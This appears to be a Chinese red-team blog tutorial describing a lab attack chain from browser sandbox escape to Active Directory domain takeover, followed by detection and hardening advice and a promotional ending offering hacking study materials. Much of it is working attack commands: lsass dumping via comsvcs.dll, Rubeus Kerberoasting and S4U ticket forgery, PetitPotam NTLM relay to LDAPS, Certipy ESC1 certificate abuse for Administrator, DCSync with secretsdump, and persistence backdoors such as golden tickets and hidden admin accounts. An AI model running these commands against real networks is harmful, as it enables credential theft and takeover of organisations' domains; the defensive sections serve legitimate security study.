域沙箱逃逸 + 内网域环境组合攻击链路实

免责声明本文内容仅用于授权渗透测试、红蓝对抗、安全运维学习研究仅允许在拥有书面授权的靶场环境进行复现。未经授权入侵、逃逸沙箱、攻击企业域环境属于违法行为请严格遵守网络安全相关法律法规。前言在红蓝对抗、护网行动实战中经常遇到一种典型场景攻击者拿到初始入口但是目标运行在各类沙箱隔离环境中。常见的域环境沙箱包括Windows Defender 应用防护WDAG、浏览器沙箱、应用程序沙箱、虚拟化隔离沙箱、终端沙箱、容器沙箱。沙箱设计初衷做权限隔离、限制文件读写、限制内网访问阻断攻击者直接进入域内网很多人以为沙箱就是绝对安全边界。但是大量实战案例证明一旦攻击者完成域沙箱逃逸就会直接获取域内真实主机上下文继承当前登录域用户身份直接踏入 Active Directory 内网后续就可以开展完整域渗透链路信息收集、凭证窃取、横向移动、委派滥用、ADCS 证书攻击、DCSync最终拿到域管权限接管整个域环境。很多安全人员会把沙箱逃逸和域渗透割裂看待研究沙箱逃逸只研究怎么跳出沙箱研究域渗透默认已经拿到真实主机 shell。但真实红队作战沙箱逃逸只是攻击的起点逃逸之后完整域内组合攻击链路才是攻击核心。沙箱逃逸成功不等于直接拿下域逃逸后同样会面临 EDR 拦截、AMSI 防护、LSA RunAsPPL 保护、域 ACL 加固需要多条攻击链组合使用。本文万字文章从沙箱基础概念出发梳理 Windows 域环境下主流沙箱类型、沙箱逃逸的技术分类完整还原一条真实的攻击全链路初始沙箱内 RCE → 沙箱逃逸成功获取域内真实主机 shell → 域资产手工 LDAP 收集 → 凭证获取无 Mimikatz 方案→内网横向移动 → Kerberoast / AS‑REP Roast → 约束 / 非约束委派滥用 → ADCS ESC 漏洞攻击 → DCSync 域控接管 → 持久化维持权限。同时拆解多条备选组合攻击链路、实战踩坑、蓝队检测方案、加固建议。适合渗透测试工程师、红队人员、安全运维、应急响应工程师阅读。核心重点沙箱逃逸最大的危害不是本地代码执行而是逃逸后继承域用户身份直接打通域内网把沙箱内部的安全风险传导到整个企业 AD 域。一、域环境常见沙箱基础认知1.1 什么是域环境中的沙箱沙箱Sandbox是一种隔离执行环境进程运行在受限容器内部做资源隔离限制文件访问、注册表访问、限制内网 TCP 连接、IPC 通信隔离。在加入域的企业终端上常见几类沙箱WDAG Windows Defender Application Guard微软官方应用防护专门针对浏览器打开不受信任网站会启动独立虚拟机沙箱和真实主机隔离域环境中可以通过组策略批量下发开启 WDAG企业办公终端广泛部署。沙箱内进程默认不能访问企业内网资源。Chromium 浏览器沙箱Chrome、Edge 浏览器默认启用渲染进程运行在沙箱中网页漏洞 RCE 只会落到沙箱受限进程不能直接读写主机磁盘、访问内网。域内员工使用域账号登录浏览器沙箱进程继承域用户 SID逃逸后直接拿到域用户上下文。应用沙箱AppContainerUWP 通用 Windows 应用使用 AppContainer 沙箱权限被严格裁剪很多业务软件、办公插件使用该隔离机制。第三方终端安全沙箱EDR 产品自带应用沙箱可疑程序自动丢入沙箱运行阻止恶意程序直接操作真实系统。容器沙箱 Docker Windows 容器域服务器上运行 Windows 容器容器加入域容器内部沙箱隔离一旦逃逸可以访问宿主机域环境。关键知识点沙箱内进程继承当前登录域用户的安全标识符 SID只是权限被沙箱隔离机制锁住。一旦逃逸成功直接拿到真实主机上该域用户的完整权限。如果当前登录用户是高权限域账号逃逸之后直接获得高价值立足点。1.2 沙箱逃逸两大技术分类沙箱逃逸就是突破沙箱隔离边界在沙箱内部执行代码最终在真实主机环境执行任意代码。分为两大类1漏洞型沙箱逃逸利用沙箱组件本身的安全漏洞包括 IPC 处理漏洞、内核组件漏洞、Broker 代理逻辑漏洞。浏览器沙箱渲染引擎 RCE Broker 进程漏洞完成逃逸WDAGHyper‑V 相关组件漏洞突破虚拟机隔离第三方沙箱沙箱驱动、代理服务逻辑缺陷。这类属于 0day/Nday需要漏洞 EXP实战中可遇不可求。2配置逻辑型逃逸红队实战高频不是安全漏洞企业配置错误导致沙箱隔离被绕过红蓝对抗中出现频率远高于漏洞逃逸也是本文重点关注。沙箱配置共享文件夹沙箱和主机目录互通沙箱允许访问主机 COM 对象、Win32 API 接口组策略配置错误WDAG 开启 “信任站点允许访问企业内网”沙箱内可以调用原生 LOLBIN通过文件、计划任务、打印服务等间接执行主机代码沙箱网络策略配置错误沙箱环境可以直接连通域控制器 389、445 端口。很多企业以为开启沙箱就万事大吉但是配置错误直接废掉沙箱防护效果。1.3 沙箱逃逸成功之后我们拿到什么权限很多新手存在误区沙箱逃逸之后直接拿到 SYSTEM 权限。绝大多数场景不是。浏览器 / WDAG 沙箱逃逸默认拿到当前登录域用户权限普通域用户权限如果用户本地有管理员逃逸后是普通管理员想要 SYSTEM 还需要后续本地提权操作。也就是说逃逸结束攻击者拿到一台域内工作站的普通域用户 shell这是我们整套域攻击链路的起点。后续所有内网渗透技术全部可以复用但是同时目标主机部署 EDR/AMSI攻击手段需要做规避。1.4 完整攻击链路总览图钓鱼/网页漏洞 → 沙箱内部RCE执行隔离环境 ↓ 沙箱逃逸漏洞 / 配置绕过→ 获取真实主机shell域普通用户权限 ↓ 侦查本机环境域信息、是否域成员、域控IP、安全软件状态 ↓ 域资产手工LDAP信息收集ADSISearcher无第三方工具 ↓ 分支1本地凭证获取dump lsasspypykatz离线解析规避Mimikatz 分支2不dump内存直接Kerberoast / PetitPotam强制认证中继 ↓ 内网横向移动PtH / Over‑pass‑the‑hash / 票据传递PTT ↓ 高危AD对象利用AS‑REP Roast、约束委派、非约束委派 ↓ 备选攻击路径ADCS证书服务ESC系列漏洞 ↓ 获取域控权限DCSync导出全部域账号哈希 ↓ 域环境持久化ACL后门、Golden Ticket、DCShadow ↓ 痕迹清理完成整个域接管沙箱逃逸只是整个攻击链的第一环逃逸成功之后的域渗透才是真正考验红队能力。二、模拟实战环境介绍靶场环境配置模拟企业真实域场景域名称lab‑company.local域控制器 DC01192.168.10.10Windows Server 2019开启 AD、ADCS 证书服务存在 ESC1 配置缺陷员工工作站 PC‑USER01192.168.10.101Windows11加入 lab‑company.local 域用户lab‑user01登录本机开启 Edge 浏览器沙箱开启 WDAG 应用防护终端部署 EDR拦截原版 Mimikatz。用户身份lab‑user01普通域用户本机本地管理员权限域内普通权限。安全配置域控开启 RunAsPPL LSA 保护开启 LDAP 审计ADCS 证书模板配置不当存在 ESC1部分业务账号配置 SPN存在约束委派。攻击模拟攻击者利用网页漏洞在 Edge 浏览器沙箱内部拿到 RCE然后完成沙箱逃逸获取 PC‑USER01 真实主机 shell身份为普通域用户lab‑user01从此处开始完整域攻击链路复现。三、阶段一沙箱逃逸完成后本机环境侦查逃逸成功拿到真实主机交互式 shell首先做本机环境侦查不要直接上来就执行大量攻击载荷避免直接触发 EDR 告警。3.1 获取当前域基础信息whoami whoami /all systeminfo | findstr DomainPowerShell 查询域信息[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() Get‑ADDomainController #如果RSAT工具可用如果没有 RSAT 工具原生查询域控 DNS 记录nslookup lab‑company.local记录域控 IP192.168.10.10域名 DC01.lab‑company.local。3.2 侦查安全软件判断防御强度tasklist | findstr /i defender tasklist | findstr /i edr reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run检查 LSA RunAsPPL 状态判断后续能不能直接 dump lsass 内存Get‑ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa | Select‑Object RunAsPPL如果 RunAsPPL1直接 comsvcs、procdump dump lsass 会拒绝访问就要切换无 dump 攻击链路例如 Kerberoast、NTLM 中继、ADCS。3.3 本机网络环境查看ipconfig /all route print确认主机可以访问域控 389、445、636 端口。实战关键点沙箱逃逸之后第一件事判断本机防御根据防御状态选择攻击路径不要一套 payload 打全部场景。四、阶段二手工 LDAP 域资产收集受限环境无 SharpHound逃逸拿到 shell此时可能存在限制不允许上传 exePowerShell 脚本会被 AMSI 拦截不能直接运行 SharpHound、BloodHound 采集器。这个阶段就使用 Windows 原生 ADSISearcher 做手工 LDAP 资产搜集不需要第三方工具。详细原理参考上一篇文章《域环境中 LDAP 查询技巧不用工具手工搜集域资产》。4.1 收集全部域用户筛选风险账号PowerShell 内存执行 ADSISearcher不需要落地文件$searcher[adsisearcher] $searcher.SearchRootLDAP://dclab‑company,dclocal $searcher.Filter(objectCategoryuser) $searcher.PageSize1000 $searcher.PropertiesToLoad.AddRange((samaccountname,useraccountcontrol,serviceprincipalname,msds‑allowedtodelegateto)) $res $searcher.FindAll() $res | ForEach‑Object {$_.Properties}筛选拥有 SPN 的账号Kerberoast 攻击目标LDAP Filter((objectCategoryuser)(servicePrincipalName*))筛选 AS‑REP Roast 账号((objectCategoryuser)(userAccountControl:1.2.840.113556.1.4.803:4194304))筛选约束委派账号(msDS‑AllowedToDelegateTo*)导出全部域计算机列表拿到内网主机清单(objectClasscomputer)4.2 高权限安全组成员查询查询 Domain Admins 域管理员组成员 DNdsquery * dclab‑company,dclocal -filter (cnDomain Admins) -attr member -limit 0如果没有 dsquery没有 RSAT使用 ADSISearcher 查询。侦查发现业务服务账号svc‑app01存在 SPNKerberoast 候选目标账号svc‑web配置约束委派可以委派到 dc01AD 域部署 ADCS 证书服务证书模板存在 ESC1 漏洞当前用户 lab‑user01 是普通域用户无本地域管理员权限。这里我们拥有多条攻击路径可以选择红队实战不会只走一条链路多条链路并行尝试。攻击路径 A凭证 dump → PtH 横向移动攻击路径 BKerberoast 爆破服务账号 TGS 票据攻击路径 CPetitPotam 强制认证 NTLMrelayx LDAP 中继赋予账号 DCSync 权限攻击路径 D利用 ADCS ESC1 漏洞普通用户申请域管理员证书五、阶段三凭证获取适配 EDR 环境规避 Mimikatz本机开启 RunAsPPL直接读取 lsass 内存会被拦截我们分两种场景。场景 1RunAsPPL 关闭可以 dump lsass 内存无 Mimikatz 方案利用系统原生 comsvcs.dll 生成 lsass 内存 dump不在本机解析凭证。rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump 728 C:\Windows\Temp\svc.tmp full把 svc.tmp 下载回 Kali 攻击机使用 pypykatz 离线解析 dump 文件目标主机全程没有 Mimikatz 代码运行。pypykatz lsa minidump svc.tmp拿到内存里面缓存的域账号 NTLM 哈希、Kerberos AES 密钥后续可以用于 PtH、Over‑pass‑the‑hash 横向移动。注意现代 EDR 会监控 rundll32 调用 comsvcs.dll MiniDump 行为如果触发告警直接放弃 dump lsass切换纯网络层攻击链路。场景 2RunAsPPL 开启无法 dump lsass 内存实战高频完全放弃读取 lsass 本地内存走 AD 协议层面攻击不需要任何本机凭证抓取。方案 1Kerberoast向 KDC 请求服务账号 TGS 票据下载票据离线爆破方案 2PetitPotam EFSRPC 强制认证 ntlmrelayx 中继 LDAP方案 3ADCS 证书漏洞申请证书。Kerberoast 实战操作不需要读取 lsass 内存当前普通域用户权限直接请求 SPN 账号的 TGS 票据。不使用 Mimikatz使用 Rubeus 内存加载执行 dump导出 TGS 票据 hash。Rubeus.exe kerberoast /nowrap /out:kerb_hash.txt将 hash 回传到攻击机hashcat 离线爆破密码。hashcat -m 13100 kerb_hash.txt wordlist.txt如果爆破成功拿到服务账号明文或者 NTLM 哈希就可以使用该账号权限横向移动。优势全程不需要操作 lsass 进程只和域控 KDC 做网络交互规避大量本地行为检测。六、阶段四多条组合攻击链路实战复现链路一Kerberoast 拿到业务服务账号 → 利用约束委派获取域控权限侦查结果svc‑web账号配置约束委派msDS‑AllowedToDelegateTo指向DC01$允许委派到域控主机。Kerberoast 爆破拿到 svc‑web 账号 NTLM 哈希使用 Rubeus 做 S4U2Self、S4U2Proxy 协议滥用伪造域管理员 TGS 票据获取访问域控的票据票据传递 PTT拿到域控访问权限执行 DCSync 导出全部域哈希。核心命令Rubeus 内存加载无 MimikatzRubeus.exe s4u /user:svc‑web$ /rc4:xxxxxxxxxxxxxxx /impersonateuser:Administrator /msdsspn:cifs/dc01.lab‑company.local /ptt票据注入内存之后直接访问域控 CIFS 服务。dir \\dc01.lab‑company.local\c$成功访问域控文件系统立足点转移到域控。链路二PetitPotam NTLM Relay LDAP 中继完全不需要任何凭证这条链路非常强大不需要窃取任何本机凭证不需要爆破密码。攻击逻辑在攻击机开启 ntlmrelayx监听 LDAPS开启 SMB 服务器使用 PetitPotam强制域控机器向攻击者 IP 发起 NTLM 认证将域控机器的 NTLM 认证中继到 LDAPS 服务给我们普通域账号写入 DCSync 权限权限添加完成之后impacket‑secretsdump 执行 DCSync导出域全部哈希。kali 攻击机执行ntlmrelayx.py -t ldaps://192.168.10.10 --smb2support --add‑computer受害主机逃逸后的 shell执行 PetitPotam 触发强制认证PetitPotam.exe 192.168.1.200 192.168.10.10注意现在很多域已经开启 LDAP 签名必须使用 LDAPS 636 端口中继LDAP 明文 389 会失败。中继成功之后当前普通域用户就拥有 DCSync 权限直接远程拉取域全部账号哈希。链路三ADCS ESC1 证书漏洞攻击普通域用户获取域管证书环境中 ADCS 配置缺陷ESC1 模板允许申请人自定义 SAN 主体备用名称。普通域用户就可以申请任意账号证书包括域管理员。使用 Certipy 工具在攻击机远程操作不需要在受害主机落地大量载荷。kali 执行 Certipycertipy find -u lab‑user01lab‑company.local -p xxxx -dc‑ip 192.168.10.10 certipy req -u lab‑user01lab‑company.local -p xxxx -ca lab‑CA -template User -upn Administratorlab‑company.local拿到 pfx 证书文件使用证书向 KDC 请求 TGT 票据完成票据传递获得域管理员权限。该攻击路径只需要合法普通域账号不需要横向移动不需要 dump 内存是沙箱逃逸拿到普通域账号之后性价比极高的攻击路径。七、阶段五域控站稳脚跟DCSync 与域持久化通过上面任意一条攻击链路拿到域控权限之后执行 DCSync 导出域内全部账号哈希。不使用 Mimikatz攻击机 Linux 使用 impacket‑secretsdump 远程 DCSync。secretsdump.py lab‑company.local/administrator192.168.10.10 -just‑dc导出全部域用户 NTLM 哈希整个域被接管。拿到域控之后红队会部署域持久化后门方便后续再次进入内网列举几种常见持久化手段Golden Ticket 黄金票据利用 krbtgt 哈希生成伪造 TGT 票据不修改任何域对象隐蔽性较强。Rubeus 生成黄金票据。DCShadow 后门伪造域控对象修改 AD 对象属性高级持久化EDR 较难发现。ACL 权限后门给普通低权限账号授予 DCSync 权限日常不会引起运维注意。添加影子账号创建隐藏域账号加入域管理员组。实战注意沙箱逃逸进入内网所有持久化操作尽量减少特征避免红蓝对抗被蓝队快速捕获。八、备选失败回退链路实战踩坑红队作战不是每一条攻击链都能成功很多情况会遇到防御拦截需要回退备选方案。场景PetitPotam 失效域已经修复 EFSRPC 漏洞备选切换 Kerberoast 约束委派或者 ADCS 证书攻击。场景ADCS 已经修复 ESC 全部漏洞备选尝试寻找 AS‑REP Roast 账号爆破寻找配置错误的委派对象。场景所有委派、SPN 全部加固没有可利用点备选回到本机尝试 BYOVD 绕过 RunAsPPLdump lsass 获取缓存凭证做横向移动。场景域内开启 LDAP 强制签名NTLM 中继完全失效备选放弃中继优先证书攻击、Kerberoast 链路。真实内网渗透不能死磕一条攻击链路沙箱逃逸拿到立足点之后多条路径并行探测。九、完整攻击链路中各个阶段痕迹与蓝队检测点从沙箱逃逸开始整条攻击链每个环节都会留下日志蓝队可以针对性监控告警。9.1 沙箱逃逸阶段告警WDAG / 浏览器沙箱内进程异常创建主机子进程沙箱内程序读写主机敏感目录、修改主机注册表监控 WDAG 虚拟机异常退出异常 IPC 通信行为。9.2 域信息收集阶段Sysmon 监控 PowerShell 执行adsisearcher大量 LDAP 查询域控制器开启 4662 目录访问审计日志短时间同一个账号大量遍历 user、computer 对象代表 LDAP 资产测绘监控 dsquery、csvde、ldifde 进程执行。9.3 凭证获取行为检测监控 rundll32 调用 comsvcs.dll MiniDump监控 procdump 读取 lsass监控临时目录下生成大 dmp/tmp 内存转储文件监控异常 Kerberoast 行为短时间大量 TGS 票据请求事件 ID 4769。9.4 内网攻击链路告警PetitPotam 攻击域控出现异常 EFSRPC 调用请求NTLM 中继大量 LDAP/LDAPS 绑定事件异常账号 ACL 权限变更ADCS 攻击事件 ID 4886 证书模板申请普通用户申请高权限证书S4U 协议滥用Kerberos 事件日志出现 S4U2Self / S4U2Proxy 扩展。9.5 域控接管之后告警DCSync 行为事件 ID 4662对象访问 DS‑Replication‑Get‑Changes 权限域管理员组成员变更事件 4728krbtgt 账号读取黄金票据相关日志。十、企业加固防御方案阻断【沙箱逃逸→域沦陷】完整攻击链很多企业仅仅部署沙箱却忽略一个核心风险沙箱逃逸一旦发生不能让逃逸后的攻击者直接摧毁整个 AD 域。防御分为三层沙箱层、终端层、AD 域层。第一层加固沙箱本身降低逃逸可能性WDAG 应用防护严格配置组策略不要随意放开 “允许访问企业内网”最小化沙箱网络权限浏览器保持最新补丁及时修复沙箱 Broker 组件漏洞沙箱禁止不必要共享目录、COM 对象访问收缩 IPC 接口第三方沙箱定期更新版本关闭不必要的沙箱穿透通道。注意没有绝对无法逃逸的沙箱不能把全部安全希望寄托沙箱。必须假设沙箱有一天会被逃逸成功做好纵深防御。第二层终端侧加固逃逸之后限制危害扩散普通域用户登录工作站禁止给予本地管理员权限这是最重要的配置。就算沙箱逃逸拿到域用户没有本地管理员权限很难 dump lsass、做本地提权大幅抬高攻击门槛开启 LSA RunAsPPL 保护防护 lsass 内存 dumpEDR 开启行为检测监控内存转储、异常 LDAP 查询、异常 Kerberos 票据请求终端 PowerShell 开启约束模式开启 AMSI日志完整记录。第三层AD 域层面纵深加固即使拿到普通域账号也无法拿下域控域内清理高危配置修复 ESC 系列 ADCS 漏洞删除不必要的 SPN 账号清理危险的约束 / 非约束委派关闭 AS‑REP Roast 账号 DONT_REQ_PREAUTH 标志位开启 LDAP 签名防护 NTLM Relay 中继攻击域控制器开启 4662 目录服务审计监控异常 DCSync 权限授予普通域用户默认权限已经可以做 LDAP 全量资产搜集做好审计监控及时发现批量资产枚举行为高权限域管理员账号禁止登录普通办公工作站。域管只允许登录域控服务器避免工作站被攻破拿到域管凭证。最重要的安全思想纵深防御。就算第一层沙箱被突破后面终端、域层面多层防御依然可以阻止攻击者完整接管域环境。十一、实战学习误区总结误区 1沙箱本身可以完全阻止域渗透错误。沙箱是第一道隔离防线但是存在漏洞逃逸、配置绕过风险。防御设计必须假设沙箱会被逃逸做好后续纵深防护。很多企业沙箱配置错误等于沙箱完全形同虚设。误区 2沙箱逃逸之后直接拿到域管理员权限错误。绝大多数场景逃逸得到普通域登录用户权限域接管仍然需要一整套复杂 AD 攻击链路。逃逸只是攻击起点不是攻击终点。误区 3只要 EDR 查杀 Mimikatz 就可以防御整套攻击链路错误。本文展示大量无 Mimikatz 攻击路径Kerberoast、PetitPotam 中继、ADCS 证书攻击全程不运行 Mimikatz只利用 Windows 原生协议。单纯查杀 Mimikatz 二进制无法防御这些攻击。误区 4拿到普通域账号很难危害整个域错误。AD 很多配置缺陷下普通域账号就可以完成 Kerberoast、ADCS ESC1、NTLM 中继获取 DCSync 权限直接接管整个域。误区 5只研究沙箱逃逸 EXP忽略逃逸之后的内网链路很多安全研究者只研究怎么跳出沙箱但是不熟悉 AD 域攻击。真实攻防逃逸之后的域组合攻击链路才是产生业务危害的关键。总结沙箱逃逸不是攻击的终点而是攻击链路新的起点。当攻击者突破沙箱隔离边界就继承主机上域登录用户身份直接接入企业 Active Directory 内网。完整的实战攻击链路为沙箱内部 RCE →沙箱逃逸拿到真实主机 shell普通域用户→环境侦查 →手工 LDAP 域资产收集 →根据防御状态选择凭证获取方式 →多条攻击链路并行探测Kerberoast、委派滥用、NTLM 中继、ADCS 证书漏洞→获取域控权限 DCSync 导出全部域哈希 →部署域持久化后门。实战环境中不能依赖单一攻击链某一条链路被防御拦截需要立刻切换备选回退方案。对于蓝队防御不能将全部安全寄托沙箱隔离要构建纵深防御体系加固沙箱减少逃逸概率终端层面收缩普通域用户权限开启 LSA 保护AD 域层面清理高危配置开启完整审计日志。就算沙箱被攻击者成功逃逸也能够阻止攻击者横向扩散保护整个域环境安全。沙箱逃逸结合域内网攻击是红蓝对抗高频组合场景理解整条完整攻击链路无论是做渗透测试红队还是做安全防御运维都具备极高参考价值。最后关于网络安全技术储备学好网络安全不论是就业还是做副业赚钱都不错但要学会网络安全还是要有一个学习规划。最后大家分享一份全套的网络安全学习资料给那些想学习网络安全的小伙伴们一点帮助对于0基础小白入门如果你是零基础小白想快速入门网络安全是可以考虑的。一方面是学习时间相对较短学习内容更全面更集中。二方面是可以找到适合自己的学习方案包括网安成长学习路线图、SRC黑客文档、护网行动、黑客必读书单、面试题、学习视频等教程。带你从零基础系统性的学好网络安全需要的可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】1.成长路线图学习规划要学习一门新的技术作为新手一定要先学习成长路线图方向不对努力白费。对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图学习规划。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。2.网安入门到进阶视频教程很多朋友都不喜欢晦涩的文字我也为大家准备了视频教程其中一共有21个章节每个章节都是当前板块的精华浓缩。全套教程文末领取哈3.SRC黑客文档大家最喜欢也是最关心的SRC技术文籍黑客技术也有收录SRC技术文籍黑客资料由于是敏感资源这里不能直接展示哦全套教程文末领取哈4.护网行动资料其中关于HW护网行动也准备了对应的资料这些内容可相当于比赛的金手指5.黑客必读书单随着互联网技术的飞速发展网络安全已经成为了当今科技领域的一大热点。这些SQL注入、CCNA、Web渗透、Linux服务器等以其强大的语言理解和防御能力正在守护着我们网络世界。 那以下这些PDF籍就是非常不错的学习资源。6.网络安全岗面试题合集当你自学到这里你就要开始思考找工作的事情了而工作绕不开的就是真题和面试题。这份完整版的网络安全学习资料已经上传CSDN朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】